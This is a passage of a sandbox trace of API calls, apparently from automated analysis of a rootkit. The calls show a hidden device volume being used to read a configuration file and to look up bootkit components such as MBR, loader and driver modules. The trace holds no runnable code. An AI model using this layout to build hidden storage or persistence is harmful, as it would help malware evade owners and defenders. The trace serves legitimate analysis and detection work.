BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034af000 [0130.749] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.749] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0130.749] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.749] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0130.749] IdePortDispatch () returned 0x103 [0130.750] KeWaitForMutexObject () returned 0x0 [0130.750] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.750] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.750] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0130.750] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.750] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0130.750] IdePortDispatch () returned 0x103 [0130.750] KeWaitForMutexObject () returned 0x0 [0130.751] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.751] KeLeaveCriticalRegion () [0130.751] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.751] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.751] KeEnterCriticalRegion () [0130.751] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.751] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.752] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.752] KeLeaveCriticalRegion () [0130.752] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.752] KeEnterCriticalRegion () [0130.752] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.752] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0130.752] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa800294eac0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0130.752] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.752] KeLeaveCriticalRegion () [0130.752] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.752] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.752] KeEnterCriticalRegion () [0130.752] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.752] ExFreePoolWithTag (P=0xfffffa800294ddb0, Tag=0x0) [0130.752] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.752] KeLeaveCriticalRegion () [0130.752] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.752] ReleaseMutex (hMutex=0xf0) returned 1 [0130.752] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0130.752] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0130.752] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.752] KeEnterCriticalRegion () [0130.752] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.752] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.752] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0130.752] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.752] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0130.752] IdePortDispatch () returned 0x103 [0130.752] KeWaitForMutexObject () returned 0x0 [0130.753] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.753] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.753] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.753] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0130.753] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0130.753] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa800294e910 [0130.753] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.753] KeLeaveCriticalRegion () [0130.753] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.753] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.753] KeEnterCriticalRegion () [0130.753] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.753] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.753] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.753] KeLeaveCriticalRegion () [0130.753] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.753] KeEnterCriticalRegion () [0130.753] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.753] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.753] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0130.753] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.753] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0130.753] IdePortDispatch () returned 0x103 [0130.753] KeWaitForMutexObject () returned 0x0 [0130.754] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.754] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.754] KeLeaveCriticalRegion () [0130.754] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.754] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.754] KeEnterCriticalRegion () [0130.754] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.754] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034b0000 [0130.754] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.754] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0130.754] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.754] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0130.754] IdePortDispatch () returned 0x103 [0130.754] KeWaitForMutexObject () returned 0x0 [0130.754] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.754] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.754] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0130.754] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.754] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0130.754] IdePortDispatch () returned 0x103 [0130.754] KeWaitForMutexObject () returned 0x0 [0130.755] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.755] KeLeaveCriticalRegion () [0130.755] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.755] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.755] KeEnterCriticalRegion () [0130.755] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.755] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.755] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.755] KeLeaveCriticalRegion () [0130.756] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.756] KeEnterCriticalRegion () [0130.756] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.756] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0130.756] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa800294d310, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0130.756] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.756] KeLeaveCriticalRegion () [0130.756] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.756] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.756] KeEnterCriticalRegion () [0130.756] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.756] ExFreePoolWithTag (P=0xfffffa800294e910, Tag=0x0) [0130.756] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.756] KeLeaveCriticalRegion () [0130.756] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.756] ReleaseMutex (hMutex=0xf0) returned 1 [0130.756] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0130.756] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0130.756] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.756] KeEnterCriticalRegion () [0130.756] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.756] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.756] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0130.756] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.756] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0130.756] IdePortDispatch () returned 0x103 [0130.756] KeWaitForMutexObject () returned 0x0 [0130.757] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.757] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.757] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.757] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0130.757] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0130.757] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa800294ca60 [0130.757] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.757] KeLeaveCriticalRegion () [0130.757] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.757] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.757] KeEnterCriticalRegion () [0130.757] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.757] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.757] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.757] KeLeaveCriticalRegion () [0130.757] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.757] KeEnterCriticalRegion () [0130.757] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.757] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.757] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0130.757] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.757] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0130.757] IdePortDispatch () returned 0x103 [0130.757] KeWaitForMutexObject () returned 0x0 [0130.758] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.758] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.758] KeLeaveCriticalRegion () [0130.758] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.758] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.758] KeEnterCriticalRegion () [0130.758] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.758] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034b1000 [0130.758] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.758] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0130.758] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.758] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0130.758] IdePortDispatch () returned 0x103 [0130.758] KeWaitForMutexObject () returned 0x0 [0130.758] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.758] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.758] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0130.758] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.758] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0130.758] IdePortDispatch () returned 0x103 [0130.758] KeWaitForMutexObject () returned 0x0 [0130.759] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.759] KeLeaveCriticalRegion () [0130.759] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.759] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.759] KeEnterCriticalRegion () [0130.759] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.759] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.759] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.759] KeLeaveCriticalRegion () [0130.759] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.759] KeEnterCriticalRegion () [0130.759] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.759] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0130.760] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c07c80, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0130.760] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.760] KeLeaveCriticalRegion () [0130.760] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.760] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.760] KeEnterCriticalRegion () [0130.760] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.760] ExFreePoolWithTag (P=0xfffffa800294ca60, Tag=0x0) [0130.760] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.760] KeLeaveCriticalRegion () [0130.760] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.760] ReleaseMutex (hMutex=0xf0) returned 1 [0130.760] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0130.760] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0130.760] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0130.760] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0130.760] KeEnterCriticalRegion () [0130.760] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.760] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.760] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0130.760] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.760] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0130.760] IdePortDispatch () returned 0x103 [0130.760] KeWaitForMutexObject () returned 0x0 [0130.760] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0130.760] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0130.761] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0130.761] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0130.761] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0130.761] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0130.761] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0130.761] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0130.761] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0130.761] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0130.761] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.761] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.761] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.761] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.761] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.761] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.761] KeLeaveCriticalRegion () [0130.761] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.761] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0130.761] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0130.761] KeEnterCriticalRegion () [0130.761] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.761] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.761] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0130.761] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.761] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0130.761] IdePortDispatch () returned 0x103 [0130.761] KeWaitForMutexObject () returned 0x0 [0130.761] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0130.761] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0130.761] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0130.762] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0130.762] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0130.762] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0130.762] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0130.762] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0130.762] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0130.762] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0130.762] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.762] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.762] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.762] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.762] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.762] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.762] KeLeaveCriticalRegion () [0130.762] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.762] ReleaseMutex (hMutex=0x100) returned 1 [0130.762] Sleep (dwMilliseconds=0x2bf20) [0130.771] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x710f5210, dwHighDateTime=0x1d24fa4)) [0130.771] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0130.771] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0130.771] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0130.771] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.771] KeEnterCriticalRegion () [0130.771] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.771] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.771] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0130.771] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.771] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0130.771] IdePortDispatch () returned 0x103 [0130.771] KeWaitForMutexObject () returned 0x0 